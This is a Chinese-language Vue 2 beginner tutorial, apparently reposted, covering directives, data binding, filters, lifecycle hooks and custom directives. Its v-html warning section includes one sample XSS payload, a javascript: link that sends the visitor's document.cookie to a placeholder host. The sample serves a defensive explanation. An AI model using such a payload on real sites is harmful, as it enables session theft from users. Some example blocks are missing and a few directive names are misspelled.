當(dāng)前位置：首頁 > 前端技术 > vue >内容正文

vue

Vue框架总结（一、Vue基础知识）

發(fā)布時(shí)間：2024/1/1 vue 62 豆豆

生活随笔收集整理的這篇文章主要介紹了 Vue框架总结（一、Vue基础知识）小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

Vue

一、前言
- 1. Vue簡介
- 2. Vue特點(diǎn)
- 3. Vue周邊庫
- 4. Vue導(dǎo)入
- 5. 案例入門
二、Vue基本語法
三、內(nèi)容渲染指令
- 1. 插值語法
- 2. v-text
- 3. v-html
- 4. v-once
- 5. v-pre
- 6. v-cloak
四、數(shù)據(jù)綁定指令
- 1. v-bind
- 2. v-model
- - 1. 綁定文本框
  - 2. 綁定單個(gè)復(fù)選框
  - 3. 綁定多個(gè)復(fù)選框
  - 4. v-model修飾符
五、條件渲染指令
- 1. v-if
- 2. v-else-if
- 3. v-else
- 4. v-show
六、列表渲染指令
- 1. v-for
- 2. key作用與原理
七、事件監(jiān)聽指令
- 1. v-on
- 2. 事件修飾符
- 3. 鍵盤事件
八、過濾器
- 1. 過濾器簡介
- 2. 過濾器案例
九、Vue生命周期
十、自定義指令
- 1. 局部注冊(cè)
- 2. 全局注冊(cè)
- 3. 鉤子函數(shù)

一、前言

1. Vue簡介

Vue 是一套動(dòng)態(tài)構(gòu)建用戶界面的漸進(jìn)式JavaScript框架
官網(wǎng)

2. Vue特點(diǎn)

采用組件化模式，提供代碼復(fù)用率，且讓代碼更好維護(hù)
聲明式編碼，讓編碼人員無需操作直接操作DOM，提高開發(fā)效率
使用虛擬DOM + 優(yōu)秀的 Diff 算法，盡量復(fù)用 DOM結(jié)點(diǎn)

3. Vue周邊庫

vue-cli：vue腳手架
vue-resource
axios
vue-router：路由
vuex：狀態(tài)管理
element-ui：基于vue的UI組件庫（PC端）

4. Vue導(dǎo)入

Vue是一個(gè)JS框架，所以，如果想使用Vue，則在當(dāng)前頁面引入Vue.js文件即可。

<script src="本地 vue.js 文件路徑"></script>  <script src="https://cdn.jsdelivr.net/npm/vue@2.7.8/dist/vue.js"></script>  <script src="https://cdn.jsdelivr.net/npm/vue@2.7.8"></script>

5. 案例入門

<div id="root"><h1>Hello {{name}}</h1> </div> <script type="text/javascript">// 關(guān)閉 Vue 生產(chǎn)提示Vue.config.productionTip = false;// 創(chuàng)建一個(gè)Vue對(duì)象const app = new Vue({// 指定,該對(duì)象代表<div id="root">,也就是說,這個(gè)div中的所有內(nèi)容,都被當(dāng)前的app對(duì)象管理el:"#root",// 定義vue中的數(shù)據(jù)data(){return{name:"劃水藝術(shù)家"}}}) </script>

效果：

二、Vue基本語法

Vue模板語法包括兩大類：

插值語法：

功能：用于解析標(biāo)簽體內(nèi)容
寫法：{{xxx}}，xxx是js表達(dá)式，且可以直接讀取到data中的所有區(qū)域

指令語法：

功能：用于解析標(biāo)簽（包括：標(biāo)簽屬性、標(biāo)簽體內(nèi)容、綁定事件…）
舉例：<a v-bind:href="xxx">，xxx同樣要寫js表達(dá)式，且可以直接讀取到data中的所有屬性
備注：Vue中有很多的指令，且形式都是v-???，此處我們只是拿v-bind舉個(gè)例子

三、內(nèi)容渲染指令

1. 插值語法

插值表達(dá)式用戶把Vue中所定義的數(shù)據(jù),顯示在頁面上. 插值表達(dá)式允許用戶輸入"JS代碼片段"
語法：

案例：

<div id="root"><h1>{{name}}</h1><h1>你好，{{name}},嘿嘿</h1><h1>{{name+ '空格或者字符' + age}}</h1><h1>{{name}} {{age}}</h1><h1>{{age + 20}}</h1> </div><script type="text/javascript">const app = new Vue({el:"#root",data(){return{name:"劃水藝術(shù)家",age: 20,}}}) </script>

2. v-text

v-text 其作用和插值表達(dá)式類似。v-text 可以避免插值閃爍問題，當(dāng)網(wǎng)速比較慢時(shí), 使用插值語法來展示數(shù)據(jù), 有可能會(huì)產(chǎn)生插值閃爍問題
插值語法只會(huì)插入內(nèi)容，不會(huì)清除其余的內(nèi)容；但 v-text 會(huì)把當(dāng)前元素的其他內(nèi)容全部清除掉

? 插值閃爍：在數(shù)據(jù)未加載完成時(shí)，頁面會(huì)顯示出原始的 {{}}, 過一會(huì)才會(huì)展示正常數(shù)據(jù)。

語法：

v-text：把數(shù)據(jù)當(dāng)作純文本顯示.

案例：

3. v-html

某些情況下，我們從服務(wù)器請(qǐng)求到的數(shù)據(jù)本身就是一個(gè)HTML代碼，我們希望前端接受到數(shù)據(jù)后按照HTML格式進(jìn)行解析，并且顯示對(duì)應(yīng)的內(nèi)容，那我們就可以使用v-html指令。

語法：

v-html：遇到html標(biāo)簽,會(huì)正常解析

案例：

<div id="root"><span v-html="myHtml"></span> </div><script type="text/javascript">const app = new Vue({el:"#root",data(){return{myHtml:"<h1>劃水藝術(shù)家</h1>"}}}) </script>

嚴(yán)重注意：v-html有安全性問題！！！

在網(wǎng)站上動(dòng)態(tài)渲染任意HTML是非常危險(xiǎn)的，容易導(dǎo)致XSS攻擊
一定要在可信的內(nèi)容上使用v-html，永遠(yuǎn)不要用在用戶提交的內(nèi)容上！！！

<div id="root"><div v-html="str"></div> </div><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在啟動(dòng)時(shí)生成生產(chǎn)提示。new Vue({el:'#root',data:{str:'<a href=javascript:location.href="http://www.xxx.com?"+document.cookie>兄弟我找到你想要的資源了，快來！</a>',}}) </script>

當(dāng)點(diǎn)擊這個(gè)鏈接就進(jìn)入心懷不軌之人的圈套了！！！

4. v-once

我們有時(shí)候希望展示的部分?jǐn)?shù)據(jù)不會(huì)隨著Vue的響應(yīng)式而發(fā)生變化，就可以使用 v-once 指令。

v-once指令后面不需要跟任何表達(dá)式
v-once該指令表示元素和組件只渲染一次，不會(huì)隨著數(shù)據(jù)的改變而改變，可以用于優(yōu)化性能

5. v-pre

該指令的作用是用于跳過這個(gè)元素和它子元素的編譯過程，用于顯示原本的插值語法，一般我們的插值語法會(huì)去data里面找對(duì)應(yīng)的變量然后解析，可是如果我們就想讓其顯示為 {{name}} ，這個(gè)時(shí)候需要加 v-pre 屬性，如下

v-pre跳過其所在節(jié)點(diǎn)的編譯過程。
v-pre可利用它跳過：沒有使用指令語法、沒有使用插值語法的節(jié)點(diǎn)，會(huì)加快編譯

6. v-cloak

在實(shí)際開發(fā)中，前端數(shù)據(jù)大多是從服務(wù)器端獲取來的，如果網(wǎng)絡(luò)不好獲取的比較慢，瀏覽器可能會(huì)直接顯示出未編譯的插值標(biāo)簽。那么頁面在渲染時(shí)可能會(huì)先顯示 {{name}} 之后變?yōu)?劃水藝術(shù)家。這種效果不是我們想要的，我們可以給標(biāo)簽添加 v-cloak 來避免這種效果。（v-cloak 與 v-text 都可以解決插值閃爍問題，但 v-text 會(huì)清楚當(dāng)前元素顯示的其他內(nèi)通內(nèi)容，但 v-cloak 不會(huì)）

v-cloak 使用流程：

加上v-clock 屬性,并加上css。
vue解析之前有 v-clock 屬性時(shí)，讓其不顯示
Vue解析之后沒有v-clock 屬性，再讓其顯示

四、數(shù)據(jù)綁定指令

Vue中有2種數(shù)據(jù)綁定的方式：

單向綁定（v-bind）：數(shù)據(jù)只能從data流向頁面
雙向綁定（v-model）：數(shù)據(jù)不僅能從data流向頁面，還可以從頁面流向data

1. v-bind

上述指令主要作用是將值插入到我們的模板的內(nèi)容當(dāng)中，但是，除了內(nèi)容需要?jiǎng)討B(tài)來決定外，某些屬性我們也希望動(dòng)態(tài)來綁定。比如：

動(dòng)態(tài)綁定<a>的 href 屬性
動(dòng)態(tài)綁定<img>元素的 src 屬性
…

使用如下：

<div id="root"><a v-bind:href="url">百度</a> </div><script>const app = new Vue({el: "#root",data(){return {url: 'http://www.baidu.com'}}}) </script>

可以將 v-bind 簡寫為 :

2. v-model

? v-model可以實(shí)現(xiàn)：數(shù)據(jù)變化的時(shí)候, 頁面會(huì)自動(dòng)刷新；頁面變化的時(shí)候，數(shù)據(jù)也會(huì)自動(dòng)變化。

注意：

雙向綁定, 只能綁定 “文本框,單選按鈕,復(fù)選框,文本域,下拉列表 ”等
文本框/單選按鈕/textarea, 綁定的數(shù)據(jù)是字符串類型
單個(gè)復(fù)選框, 綁定的是boolean類型
多個(gè)復(fù)選框, 綁定的是數(shù)組
select單選對(duì)應(yīng)字符串，多選對(duì)應(yīng)是數(shù)組

1. 綁定文本框

<div id="root">用戶名: <input type="text" v-model="username"/> </div><script type="text/javascript">new Vue({el:"#root",data:{//該屬性值和文本框的value屬性值,保持一致username:""}}); </script>

2. 綁定單個(gè)復(fù)選框

<div id="root"><input type="checkbox" v-model="agree">同意<br> </div> <script type="text/javascript">new Vue({el:"#root",data:{agree:true}}); </script>

3. 綁定多個(gè)復(fù)選框

<div id="root"><input type="checkbox" value="爬山" v-model="hobby">爬山<br><input type="checkbox" value="游泳" v-model="hobby">游泳<br><input type="checkbox" value="籃球" v-model="hobby">籃球<br> </div><script type="text/javascript">new Vue({el:"#root",data:{//數(shù)組中的值,就是被選中的元素的value屬性值hobby:["爬山","游泳"]}}); </script>

4. v-model修飾符

為了方便對(duì)用戶輸入的內(nèi)容進(jìn)行處理，Vue 為 v-model 指令提供了 3 個(gè)修飾符

修飾符作用示例

.number	自動(dòng)將用戶的輸入值轉(zhuǎn)化為數(shù)值類型	<input v-model.number = "age" />
.trim	自動(dòng)過濾用戶輸入的首尾空白字符	<input v-module.trim = "msg" />
.lazy	在 change 時(shí)而非 input 時(shí)更新	<input v-model.lazy = "msg" />

lazy修飾符

默認(rèn)情況下， v-model 默認(rèn)是在 input 事件中同步輸入框的數(shù)據(jù)的。
也就是說，一旦有數(shù)據(jù)發(fā)生改變對(duì)應(yīng)的 data 中的數(shù)據(jù)就會(huì)自動(dòng)發(fā)生改變。
lazy 修飾符可以讓數(shù)據(jù)在失去焦點(diǎn)或者回車時(shí)才會(huì)更新。

五、條件渲染指令

條件渲染指令用來輔助開發(fā)者按需控制 DOM 的顯示與隱藏。 v - if、v-else-if、v-else
這三個(gè)指令與JavaScript的條件語句 if、else、else if 類似，Vue 的條件指令可以根據(jù)表達(dá)式的值在DOM中渲染或銷毀元素或組件

1. v-if

<div id="root"><h1 v-if="age >= 18">你成年了</h1> </div> <script type="text/javascript">const app = new Vue({el:"#root",data(){return{age: 20}}}) </script>

v-if的原理：

v-if 后面的條件為 false時(shí)，對(duì)應(yīng)的元素以及子元素不會(huì)渲染，也就是根本沒有對(duì)應(yīng)的標(biāo)簽出現(xiàn)在DOM中

2. v-else-if

3. v-else

4. v-show

v-show的用法和v-if非常相似，也用于決定一個(gè)元素是否渲染：

v-if 指令會(huì) 動(dòng)態(tài)地創(chuàng)建或移除 DOM 元素，從而控制元素在頁面上的顯示與隱藏
v-show 指令會(huì)動(dòng)態(tài)為元素添加或移除 style=“display: none;” 樣式，從而控制元素的顯示與隱藏

<div id="root"><h1 v-show="age >= 18">你成年了</h1> </div> <script type="text/javascript">const app = new Vue({el:"#root",data(){return{age: 17}}}) </script>

六、列表渲染指令

1. v-for

<!DOCTYPE html> <html> <head><meta charset="UTF-8" /><title>列表渲染</title><script type="text/javascript" src="../js/vue.js"></script> </head> <body><div id="root"><h2>人員列表（遍歷數(shù)組）</h2><ul><li v-for="(p,index) in persons" :key="index">{{p.name}}-{{p.age}}</li></ul><h2>汽車信息（遍歷對(duì)象）</h2><ul><li v-for="(value,k) in car" :key="k">{{k}}-{{value}}</li></ul><h2>遍歷字符串</h2><ul><li v-for="(char,index) in str" :key="index">{{char}}-{{index}}</li></ul><h2>遍歷指定次數(shù)</h2><ul><li v-for="(number,index) in 5" :key="index">{{index}}-{{number}}</li></ul></div><script type="text/javascript">new Vue({el:'#root',data:{persons:[{id:'001',name:'張三',age:18},{id:'002',name:'李四',age:19},{id:'003',name:'王五',age:20}],car:{name:'奧迪A8',price:'70萬',color:'黑色'},str:'hello'}})</script> </body> </html>

2. key作用與原理

官方推薦我們?cè)谑褂?v-for時(shí)，給對(duì)應(yīng)的元素或組件加上一個(gè) :key屬性，key的作用主要是為了高效的更新虛擬DOM。當(dāng)列表的數(shù)據(jù)變化時(shí)，默認(rèn)情況下， Vue 會(huì)盡可能的復(fù)用已存在的 DOM 元素，從而提升渲染的性能。
但這種默認(rèn)的性能優(yōu)化策略，會(huì)導(dǎo)致有狀態(tài)的列表無法被正確更新。為了給 Vue 一個(gè)提示，以便它能跟蹤每個(gè)節(jié)點(diǎn)的身份，從而在保證有狀態(tài)的列表被正確更新的前提下，提升渲染的性能。此時(shí)，需要為每項(xiàng)提供一個(gè)唯一的 key 屬性。

案例引入：

<!DOCTYPE html> <html> <head><meta charset="UTF-8" /><title>key的原理</title><script type="text/javascript" src="../js/vue.js"></script> </head> <body><div id="root"><h2>人員列表</h2><button @click.once="add">添加老劉</button><ul><li v-for="(p,index) in persons" :key="index">{{p.name}} - {{p.age}}<input type="text"></li></ul></div><script type="text/javascript">new Vue({el:'#root',data:{persons:[{id:'001',name:'張三',age:18},{id:'002',name:'李四',age:19},{id:'003',name:'王五',age:20}]},methods: {add(){const p = {id:'004',name:'老劉',age:40}this.persons.unshift(p)}},})</script> </body> </html>

運(yùn)行效果：

上述案例在增加了“老劉”后，每個(gè)人物后面的 input 輸入框紊亂，現(xiàn)在我們把 v-for 的 :key 改為 p.id 試一試。

運(yùn)行效果：

運(yùn)行結(jié)果正常，要明白這其中的詭異，我們就得明白Vue的虛擬DOM對(duì)比算法。

虛擬DOM中key的作用：

key是虛擬DOM中對(duì)象的標(biāo)識(shí)，當(dāng)數(shù)據(jù)發(fā)生變化時(shí)，Vue會(huì)根據(jù)新數(shù)據(jù)生成新的虛擬DOM，隨后Vue進(jìn)行新虛擬DOM與舊虛擬DOM的差異比較，比較規(guī)則如下：

對(duì)比規(guī)則：

① 舊虛擬DOM中找到了與新虛擬DOM相同的key：

若虛擬DOM中內(nèi)容沒變, 直接使用之前的真實(shí)DOM
若虛擬DOM中內(nèi)容變了, 則生成新的真實(shí)DOM，隨后替換掉頁面中之前的真實(shí)DOM

② 舊虛擬DOM中未找到與新虛擬DOM相同的key：創(chuàng)建新的真實(shí)DOM，隨后渲染到到頁面

用index作為key可能會(huì)引發(fā)的問題：

① 若對(duì)數(shù)據(jù)進(jìn)行逆序添加、逆序刪除等破壞順序操作：會(huì)產(chǎn)生沒有必要的真實(shí)DOM更新，界面效果沒問題, 但效率低
② 若結(jié)構(gòu)中還包含輸入類的DOM：會(huì)產(chǎn)生錯(cuò)誤DOM更新，界面有問題

開發(fā)中如何選擇key?

① 最好使用每條數(shù)據(jù)的唯一標(biāo)識(shí)作為key，比如id、手機(jī)號(hào)、身份證號(hào)、學(xué)號(hào)等唯一值
② 如果不存在對(duì)數(shù)據(jù)的逆序添加、逆序刪除等破壞順序的操作，僅用于渲染列表，使用index作為key是沒有問題的

七、事件監(jiān)聽指令

在前端開發(fā)中，我們經(jīng)常需要監(jiān)聽點(diǎn)擊、拖拽、鍵盤事件等等，這個(gè)時(shí)候需要使用 v-on。

作用：綁定事件監(jiān)聽器
縮寫：@

DOM對(duì)象vue事件綁定

onclick	v-on:click
oninput	v-on:input
onkeyup	v-on:keyup

1. v-on

<div id="root"><h1>count = {{count}}</h1><button v-on:click="sub">-</button><button @click="add">+</button> </div><script>const app = new Vue({el:"#root",data(){return {count: 0,}},methods: {add(){this.count++;},sub(){this.count--;}}}) </script>

如果我們的事件要傳遞參數(shù)，代碼如下：

<div id="root"><button @click="method1">點(diǎn)我1</button><button @click="method2()">點(diǎn)我2</button> </div><script>new Vue({el:'#root',methods:{method1(arg1){console.log("method1: " , arg1);},method2(arg1){console.log("method2: " , arg1);}}}) </script>

在使用 v-on 綁定事件時(shí)：

如果事件函數(shù)后有括號(hào)，如：@click=“method1()”,則默認(rèn)什么都不傳遞
如果事件函數(shù)后無括號(hào)，如:@click=“method2” ,則默認(rèn)傳遞事件對(duì)象

當(dāng)我們帶參數(shù)又要帶有事件參數(shù)時(shí),我們要使用 $event：

<div id="root"><button @click="method3($event,2,3,4)">點(diǎn)我3</button> </div><script>new Vue({el:'#root',methods:{method3(event, a, b, c){console.log("event = " , event);console.log("a = " , a);console.log("b = " , b);console.log("c = " , c);}}}) </script>

2. 事件修飾符

Vue中的事件修飾符：

prevent：阻止默認(rèn)事件（常用）
stop：阻止事件冒泡，也就是當(dāng)前元素發(fā)生事件,但當(dāng)前元素的父元素不發(fā)生該事件（常用）
once：事件只觸發(fā)一次（常用）
capture：使用事件捕獲模式, 主動(dòng)獲取子元素發(fā)生事件, 把獲取到的事件當(dāng)自己的事件執(zhí)行
self：只有 event.target 是當(dāng)前操作的元素時(shí)才觸發(fā)事件
passive：事件的默認(rèn)行為立即執(zhí)行，無需等待事件回調(diào)執(zhí)行完畢

修飾符可以連續(xù)寫，比如可以這么用：@click.prevent.stop="showInfo"

3. 鍵盤事件

鍵盤上的每個(gè)按鍵都有自己的名稱和編碼，例如：Enter（13）。而Vue還對(duì)一些常用按鍵起了別名方便使用。

Vue中常用的按鍵別名：

回車：enter
刪除：delete (捕獲“刪除”和“退格”鍵)
退出：esc
空格：space
換行：tab (特殊，必須配合keydown去使用)
上：up
下：down
左：left
右：right

注意：

系統(tǒng)修飾鍵（用法特殊）：ctrl、alt、shift、meta

配合keyup使用：按下修飾鍵的同時(shí)，再按下其他鍵，隨后釋放其他鍵，事件才被觸發(fā)
配合keydown使用：正常觸發(fā)事件

可以使用keyCode去指定具體的按鍵，比如：@keydown.13=“showInfo”

Vue.config.keyCodes.自定義鍵名 = 鍵碼，可以自定義按鍵別名

八、過濾器

1. 過濾器簡介

在官方文檔中，是這樣說明的：可被用于一些常見的文本格式化，vue中過濾器的作用可被用于一些常見的文本格式化。（也就是修飾文本，但是文本內(nèi)容不會(huì)改變）
通俗點(diǎn)說過濾器就是用來篩選出符合條件的，丟棄不符合條件的
過濾器分為全局過濾器與局部過濾器

過濾器：

定義：對(duì)要顯示的數(shù)據(jù)進(jìn)行特定格式化后再顯示（適用于一些簡單邏輯的處理）。
語法：

① 注冊(cè)過濾器：

② 使用過濾器：

備注：

過濾器可以接收額外參數(shù)，多個(gè)過濾器也可以串聯(lián)
過濾器并沒有改變?cè)镜臄?shù)據(jù)，而是產(chǎn)生新的對(duì)應(yīng)的數(shù)據(jù)

2. 過濾器案例

<!DOCTYPE html> <html> <head><meta charset="UTF-8" /><title>過濾器</title><script type="text/javascript" src="../js/vue.js"></script><script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.10.6/dayjs.min.js"></script> </head> <body><div id="root"><h2>時(shí)間</h2><h3>當(dāng)前時(shí)間戳：{{time}}</h3><h3>轉(zhuǎn)換后時(shí)間：{{time | timeFormater()}}</h3><h3>轉(zhuǎn)換后時(shí)間：{{time | timeFormater('YYYY-MM-DD HH:mm:ss')}}</h3><h3>截取年月日：{{time | timeFormater() | mySlice}}</h3></div> </body><script type="text/javascript">//全局過濾器Vue.filter('mySlice',function(value){return value.slice(0,11)})new Vue({el:'#root',data:{time:1658929744,},//局部過濾器filters:{timeFormater(value, str="YYYY年MM月DD日 HH:mm:ss"){return dayjs(value).format(str)}}}) </script> </html>

九、Vue生命周期

（1）什么是Vue生命周期?

官網(wǎng)的解釋：Vue 實(shí)例從創(chuàng)建到銷毀的過程，就是生命周期。也就是從開始創(chuàng)建、初始化數(shù)據(jù)、編譯模板、掛載Dom→渲染、更新→渲染、卸載等一系列過程，我們稱這是 Vue 的生命周期。

（2）vue生命周期的作用是什么?

Vue生命周期中有多個(gè)事件鉤子，讓我們?cè)诳刂普麄€(gè)Vue實(shí)例過程時(shí)更容易形成好的邏輯。

（3）vue生命周期總共有幾個(gè)階段?

可以總共分為8個(gè)階段：

創(chuàng)建前/后
載入前/后
更新前/后
銷毀前/后

（4）第一次頁面加載會(huì)觸發(fā)哪幾個(gè)鉤子?

第一次頁面加載時(shí)會(huì)觸發(fā) beforeCreate, created, beforeMount, mounted 這幾個(gè)鉤子

（5）DOM 渲染在哪個(gè)周期中就已經(jīng)完成?

DOM 渲染在 mounted 中就已經(jīng)完成了。

（6）簡單描述每個(gè)周期具體適合哪些場景?

生命周期鉤子的一些使用方法：

beforecreate : 可以在此階段加loading事件，在加載實(shí)例時(shí)觸發(fā)；

created : 初始化完成時(shí)的事件寫在這里，如在這結(jié)束loading事件，異步請(qǐng)求也適宜在這里調(diào)用；

mounted : 掛載元素，獲取到DOM節(jié)點(diǎn)；

updated : 如果對(duì)數(shù)據(jù)統(tǒng)一處理，在這里寫上相應(yīng)函數(shù)；

beforeDestroy : 可以做一個(gè)確認(rèn)停止事件的確認(rèn)框；

nextTick : 更新數(shù)據(jù)后立即操作dom；

常用的生命周期鉤子：

mounted：發(fā)送ajax請(qǐng)求、啟動(dòng)定時(shí)器、綁定自定義事件、訂閱消息等初始化操作
beforeDestroy：清除定時(shí)器、解綁自定義事件、取消訂閱消息等收尾工作

關(guān)于銷毀Vue實(shí)例：

銷毀后借助Vue開發(fā)者工具看不到任何信息
銷毀后自定義事件會(huì)失效，但原生DOM事件依然有效
一般不會(huì)在beforeDestroy操作數(shù)據(jù)，因?yàn)榧幢悴僮鲾?shù)據(jù)，也不會(huì)再觸發(fā)更新流程了

測試案例

<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><title>生命周期測試案例</title> </head> <body> <div id="app"><p>{{message}}</p><button @click="changeMsg">改變msg</button> </div></body> <script src="js/vue.js"></script> <script>var vm = new Vue({el: '#app',data: {message: '你好呀~~~'},methods: {changeMsg () {this.message = '拜拜咯~~~'}},// 生命周期鉤子beforeCreate() {console.log('------初始化前------')console.log("msg = ", this.message)console.log("el = ", this.$el)},created () {console.log('------初始化完成------')console.log("msg = ", this.message)console.log("el = ", this.$el)},beforeMount () {console.log('------掛載前---------')console.log("msg = ", this.message)console.log("el = ", this.$el)},mounted () {console.log('------掛載完成---------')console.log("msg = ", this.message)console.log("el = ", this.$el)},beforeUpdate () {console.log('------更新前---------')console.log("msg = ", this.message)console.log("el = ", this.$el)},updated() {console.log('------更新后---------')console.log("msg = ", this.message)console.log("el = ", this.$el)}}) </script> </html>

從上面我們可以看出幾點(diǎn)：

首次只執(zhí)行了4個(gè)生命周期，beforeCreate，created, beforeMount, mounted；
在第一個(gè)生命周期beforeCreate，拿不到data中的數(shù)據(jù)，此時(shí)數(shù)據(jù)還未初始化；
created中，可以拿到data中的message數(shù)據(jù)了，此時(shí)數(shù)據(jù)初始化已經(jīng)完成

十、自定義指令

注冊(cè)一個(gè)自定義指令有全局注冊(cè)與局部注冊(cè)。

1. 局部注冊(cè)

new Vue({ directives:{指令名:配置對(duì)象} }) new Vue({ directives:{指令名:回調(diào)函數(shù)} })

測試案例：

<!DOCTYPE html> <html><head><meta charset="UTF-8" /><title>自定義指令</title><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h2>當(dāng)前的n值是：<span v-text="n"></span> </h2><h2>放大10倍后的n值是：<span v-big="n"></span> </h2><button @click="n++">點(diǎn)我n+1</button><hr/><input type="text" v-fbind:value="n"></div></body><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el:'#root',data:{n:1},directives:{// 自定義指令big(element,binding){console.log('big',this) //注意此處的this是windowelement.innerText = binding.value * 10},fbind:{// 指令與元素成功綁定時(shí)（一上來）bind(element,binding){element.value = binding.value},// 指令所在元素被插入頁面時(shí)inserted(element,binding){element.focus()},// 指令所在的模板被重新解析時(shí)update(element,binding){element.value = binding.value}}} }) </script> </html>

2. 全局注冊(cè)

全局注冊(cè)注冊(cè)主要是用過Vue.directive方法進(jìn)行注冊(cè)

Vue.directive('fbind',{//指令與元素成功綁定時(shí)（一上來）bind(element,binding){element.value = binding.value},//指令所在元素被插入頁面時(shí)inserted(element,binding){element.focus()},//指令所在的模板被重新解析時(shí)update(element,binding){element.value = binding.value} })

3. 鉤子函數(shù)

自定義指令也像組件那樣存在鉤子函數(shù)：

bind：只調(diào)用一次，指令第一次綁定到元素時(shí)調(diào)用。在這里可以進(jìn)行一次性的初始化設(shè)置
inserted：被綁定元素插入父節(jié)點(diǎn)時(shí)調(diào)用 (僅保證父節(jié)點(diǎn)存在，但不一定已被插入文檔中)
update：所在組件的 VNode 更新時(shí)調(diào)用，但是可能發(fā)生在其子 VNode更新之前。指令的值可能發(fā)生了改變，也可能沒有。但是你可以通過比較更新前后的值來忽略不必要的模板更新
componentUpdated：指令所在組件的 VNode 及其子 VNode 全部更新后調(diào)用
unbind：只調(diào)用一次，指令與元素解綁時(shí)調(diào)用